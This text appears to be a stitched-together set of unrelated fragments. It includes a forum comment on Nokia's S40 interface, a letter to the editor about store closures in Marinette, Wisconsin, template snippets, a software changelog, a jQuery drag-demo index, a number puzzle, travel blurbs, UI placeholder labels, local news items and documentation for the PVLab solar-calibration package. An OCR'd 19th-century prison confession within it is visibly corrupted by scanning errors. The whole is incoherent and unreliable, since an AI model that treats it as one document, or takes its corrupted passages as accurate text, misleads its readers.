I see S40 as a mid-step between old-style voice+sms only handsets and future mobile data... and as such reckon it's important that S40 not be too flashy. Gyrating icons might look pretty, but they'll put some people off. The S40 interface is an evolution of previous Nokia UIs, and can be traced back quite a long way to early handsets; so it has some familiarity to anyone who's owned a Nokia handset before.
S60 is great for power users, and spreading from the top down. But motivating the majority of mobile subscribers to get using data services won't be achieved by persuading them to completely change their ideas of what a phone is... it'll be done by teasing them along the way, using more familiar devices (for now)"


{% include head.html %}
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LETTERS TO THE EDITOR: What ‘slew’ of shut stores?
by THE WASHINGTON TIMESANALYSIS/OPINION:
I read with interest Donald Lambro’s recent column (“Slowing economy could mean trouble for Trump in the election,” Web, Nov. 7). There is one whopper in the third paragraph, however, that demonstrates the importance of fact checking before writing.
Mr. Lambro quotes The Washington Post that “a slew of major employers … have closed” in Marinette, Wisconsin. I live here and have for over three years, and I know that statement to be a blatant lie, written by people in far-away Washington and out of touch with the real America. This type of irresponsible reporting is simply fodder for our fearless leader to cry fake news. Yes, a number of stores have closed, but the whole retail environment is in flux all over the country because of online retailing, not because of the current administration’s economic policies.
My wife and I are retired, so we are not directly affected by the job market in Marinette or in neighboring Menominee, Michigan, but I am not aware of a “slew of major employers” having closed. Yes, some are struggling, but the situation represented in the Washington newspapers is terribly misleading.
TOP STORIES
'It's going to backfire': Impeachment boosts Trump in battleground states
Trump 'war room' launches scathing Pelosi video
Company co-founded by Nancy Pelosi's son charged with securities fraud
There is much more that could be said about Mr. Lambro’s column. Do not depend on “the polls.” They can be skewed any way the pollsters choose. I am not a fan of President Trump; quite frankly, I find him disgraceful. If the Democrats could find one candidate with a clean record and even the most vague understanding of economics, I would vote for him or her.
Mr. Lambro’s statement about Mr. Trump’s re-election being the biggest miracle since Harry Houdini is not necessarily true, either. In 1948, all the polls were wrong, and Harry “Houdini” Truman became our president for four more years. “Dewey Defeats Truman?” Fake news.
DONALD W. SMITH
Marinette, Wisc.
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{% extends "bank/base.html" %} {% load crispy_forms_tags %} {% block body %}
Only the organization's owner can invite new employees and fire existing employees.


This contains eight bytes which encode a UTC time and date, representing the creation or last modification time of a {_program}. The bytes are:
The last two provide four fractional digits, for 100 microsecond resolution. Illegal combinations, like February 29, 2019, are invalid.


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file-entry-cache - Changelog
## v2.0.0
- Features
- do not persist and prune removed files from cache. Relates to #2 - 408374d, Roy Riojas, 16/08/2016 15:47:58
v1.3.1
v1.3.0
- Features
- Add an option to not prune non visited keys. Closes #2 - b1a64db, Roy Riojas, 01/08/2016 05:52:12
v1.2.4
v1.2.3
v1.2.2
- Build Scripts Changes
- Add changelogx section to package.json - a3916ff, royriojas, 11/09/2015 18:00:26
v1.2.1
- Build Scripts Changes
- Other changes
- Update dependencies Replaced lodash.assign with smaller object-assign Fixed tests for windows - 0ad3000, Bogdan Chadkin, 11/09/2015 17:44:18
v1.2.0
- Features
- analyzeFiles now returns also the files that were removed - 6ac2431, royriojas, 04/09/2015 14:40:53
v1.1.1
v1.1.0
- Features
- Build Scripts Changes
- Documentation
- Other changes


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jquery.event.drag / Demos
The following examples are intended to show how the drag special events can be
configured to acheive a wide range of features for any drag interaction. I have
simplified each demo as much as possible, to really highlight the core of each
feature. If you have any problems, or want to suggest a new feature, or a new
demo, please contact me via the
ThreeDubMedia Google Group.

-
Relative
A simple drag operation using the relative option.
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Axis
A way to restrict movement in one dimension.
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Grid
A technique for restricting movement to a grid.
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Contain
A technique for restricting movement to a container.
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Circular
Using trigonometry to restrict movement to a circular path.
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Handle
Using the "bind" data parameter and the "handle" option.
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Active
Using the "dragstart" and "dragend" events to toggle an "active" drag state.
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Proxy
Using the "dragstart" handler to return a proxy element.
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Z-index
Using the "dragstart" handler to ensure the dragged element is on top.
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Revert
Using the "startX" and "startY" properties to restore starting position.
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Multi
Using the "draginit" handler to return multiple elements.
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Offset
Setting a fixed element offset for dragged elements.
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Live
Using "live" event delegation with "drag" events.
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Which
Using the "which" option to target a specific mouse button.
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Click
Using the "click" option to allow a click to propagate after dragging.
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Not
Using the "not" option to prevent dragging by selector expression.
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Distance
Using the "distance" option to prevent dragging until a pixel threshold has been crossed.
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Resize
Using the "deltaX" and "deltaY" properties to resize an element.
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Resize2
A complex example showing resize in 8 directions with multiple elements.
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Draw
Using the drag events to manipulate a canvas element.


This is not how I feel, nor who I am. This is a state of mind that rekindles memories of ever growing thoughts. The anxious mind stays awake thinking and pondering, till there is nothing to think and ponder about anymore. Sleep tonight and think of nothing else except the descent into peaceful familiarity.
Sample Attribution:
freesound.org/people/MiraclesHappen/sounds/457585/


You should probably stop, smartypants!
For your next task, solve this fairly simple problem.
If you start with $1 and, with each move, you can either double your money or add another $1, what is the smallest number of moves you have to make to get to exactly $200? You must also show which steps are taken to find your solution.
The number is the name of the next file.
Good luck!


Number of persons 65 years and older: 2010
100,000 Persons 65 and over
Source: U.S. Bureau of the Census


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{% raw %}JACOB HODGES.{% endraw %}
{% raw %}29{% endraw %}
{% raw %}if I could not read, he would visit me in{% endraw %}
{% raw %}my cell and put me in the way I shall{% endraw %}
{% raw %}ever love him while God gives me breath.{% endraw %}
{% raw %}I shall love the chaplain for he put me in{% endraw %}
{% raw %}the way to gain the salvation of my soul.{% endraw %}
{% raw %}He made me promise him faithfully that{% endraw %}
{% raw %}I would go to God and try to find mercy;{% endraw %}
{% raw %}arid yet I had doubt in my hearty my sin{% endraw %}
{% raw %}was so heavy, whether I should be for-{% endraw %}
{% raw %}v'ven.{% endraw %}
{% raw %}"The chaplain soon Iff' me,and 1 went{% endraw %}
{% raw %}mto my cell and pour'.c'. out my heart to{% endraw %}
{% raw %}God to have mercy on me. The more I{% endraw %}
{% raw %}prayed, the more miserable I grew, the{% endraw %}
{% raw %}heavier and heavier were my sins.{% endraw %}
{% raw %}" The next day I requested an indivi¬{% endraw %}
{% raw %}dual to read to me a chapter, and as God{% endraw %}
{% raw %}would have it, he turned to the 55th chap¬{% endraw %}
{% raw %}ter of Isaiah. It said, 'Every one that{% endraw %}
{% raw %}thirsteth, iome ye to the waters, and he{% endraw %}
{% raw %}that hatn no money, come ye and buy{% endraw %}
{% raw %}wine and milk without price.'{% endraw %}
{% raw %}" He read along where it says, 'Let the{% endraw %}
{% raw %}wicked man forsake his ways and the un{% endraw %}
{% raw %}righteous man his thoughts, and let him{% endraw %}
{% raw %}3*{% endraw %}


Brazil, a vast South American country, stretches from the Amazon Basin in the north to vineyards and massive Iguaçu Falls in the south. Rio de Janeiro, symbolized by its 38m Christ the Redeemer statue atop Mount Corcovado, is famed for its busy Copacabana and Ipanema beaches as well as its enormous, raucous Carnaval festival, featuring parade floats, flamboyant costumes, and samba music and dance.
The beautiful Greece
Greece is a country in southeastern Europe with thousands of islands throughout the Aegean and Ionian seas. Influential in ancient times, it's often called the cradle of Western civilization. Athens, its capital, retains landmarks including the 5th-century B.C. Acropolis citadel with the Parthenon temple. Greece is also known for its beaches, from the black sands of Santorini to the party resorts of Mykonos.
The spiritual India
India is a vast South Asian country with diverse terrain – from Himalayan peaks to Indian Ocean coastline – and history reaching back 5 millennia. In the north, Mughal Empire landmarks include Delhi’s Red Fort complex and massive Jama Masjid mosque, plus Agra’s iconic Taj Mahal mausoleum. Pilgrims bathe in the Ganges in Varanasi, and Rishikesh is a yoga centre and base for Himalayan trekking.
The mix of all beautiful and spirital: Macedonia
Macedonia is a landlocked Balkan nation of mountains, lakes and ancient towns with Ottoman and European architecture. The capital, Skopje, is known for its sprawling Old Bazaar quarter and historic buildings turned museums, including the National Gallery of Macedonia, housed in a 15th-century Turkish bath complex. The southern city Ohrid, on a lake of the same name, has a medieval townscape and hilltop castle.


BUTTON
Button
Button
Button
ICON
FORM
Submit
TIP
Click to get the tip
DIALOG
Click to get the dialog
LOADING
Click to get the loading


Overturned car in Ystrad Mynach causes road closure
Gwent Police are at the scene following a collision in Lewis Street
by Philip DeweyA car has overturned following a collision in Ystrad Mynach which has resulted in the closure of a road.
Officers from Gwent Police were called to reports of a car accident in Lewis Street at around 11am on Thursday.
The road was closed while police are removed the vehicle from the road.
It's not known whether there are any injuries or whether another vehicle was involved in the collision.
A spokeswoman from Gwent Police said: "We received a report of a road traffic collision in Lewis Street, Ystrad Mynach, today shortly after 11am.
"A car has overturned."
The Welsh Ambulance Service has been asked to comment.


2014
Jan 14, 2014
Collapsed Event
Subtitle
Card Description here
Choose
Jun 1, 2014
Expanded event with reallyyyyy long title
Subtitle
Timeline Event Description
A button with reallyyyyy long text that overflows and takes two rows
Book
Check


2. The PVLab Project¶
Introduction¶
PVLAB is a project devoted to the development and improvement of scientific
software for the measurement, calibration and modeling of the performance of
photovoltaic devices and solar sensors. PVLAB package was born from the efforts
made to perform the data treatment during the calibration of pyranometers at
the Laboratory of Photovoltaic Solar Energy (PVLab) (http://pvlab.ciemat.es/home)
of the Research Center
for Energy, Environment and Technology (CIEMAT)
in Madrid, Spain.
In next releases, pvlab
will provide sets of tools,
mainly consisting in classes and functions,
to perform the data treatment for the calibration of
pyranometers and other type of solar sensors and photovoltaic devices.
Eventually, pvlab
will try to widen its scope to further calibration
procedures of solar sensors and photovoltaic devices.
History¶
The origin of pvlab
is a python tool, named calibration
, developed in
2019 in PVLab-CIEMAT for its own use.
It was originally designed to manage the big amount of data
generated during the outdoor measurements, while performing the routine
calibration of pyranometers.
Soon, both the python programming language and the calibration
tool
themselves proved to be quick and reliable methods for data treatment.
Gradually, the code grew in complexity, whereas new functionalities were
enabled. Indeed, to the basic requirements of data I/O and a first block
of calculations, some others joined, like fine data-filtering, tools
developed to generate reports, graphics and further calibration records.
Finally, when it was concluded the development of the version 2.0.0 of the
application calibration
, it made us clear that a formal package should
be released, separately from the former tool. By doing so, some of the
resources created are now at disposal of the community, under a 3-clause
BSD License.
The path chosen for the development of pvlab
is that,
as functions and classes created for its use at the lab are being adapted
from their specific purpose to more general cases, and it is proved their
robustness and performance, they will be progresively incorporated to the
pvlab
library. In order to clarify the features and abilities of the
objects created, docstrings of relevant functions or classess contain
examples, which have been verified with the python built-in
package doctest
.


Hunsur voters take Vishwanath to task for joining BJP
by Ranjith KandyaA section of youths in Hunsur took to task BJP candidate A H Vishwanath, who is contesting in the Assembly bypolls to the seat, at Shravanahalli and other villages in Mysuru for joining the BJP.
Vishwanath, who elected on a JD(S) ticket in 2018 election, resigned and joined the BJP. The voters took him to task for resigning and also questioned why they should support him. The voters also questioned what moral right he has to contest in the bypolls.
The situation was not different at Kolaghatta village. The villagers alleged that Vishwanath did not even visit the region despite floods. They also accused him of greed for power. However, the police, who were on the spot controlled the voters.